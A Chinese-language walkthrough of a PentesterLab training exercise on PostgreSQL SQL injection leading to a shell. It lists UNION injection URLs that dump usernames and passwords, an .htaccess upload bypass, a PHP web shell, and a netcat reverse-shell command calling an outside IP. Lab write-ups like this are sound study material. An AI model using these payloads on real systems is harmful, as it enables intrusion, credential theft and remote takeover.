PentesterLab-From SQL Injection to Shell: PostgreSQL edition

  

一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

  由于PostgreSQL与MySQL不同,几个关注点需要注意下

二、order by下看看有几个字段

/cat.php?id=1%20order%20by%204

#order by 4正常,5出现报错,说明有4个字段

三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

发现只有第二个字段可以出来东西,注入点在第二个字段

四、查看当前库名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

五、查看表名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

六、查看各个字段,遍历offset

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

得出有login和password

七、直接通过拼接字符串,读取数据

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

十、先编写一个.htaccess文件,内容为一下内容,进行上传

AddType application/x-httpd-php .blah

这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

<?php
system($_GET['cmd'])
?>

十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash
原文地址:https://www.cnblogs.com/zlgxzswjy/p/9668191.html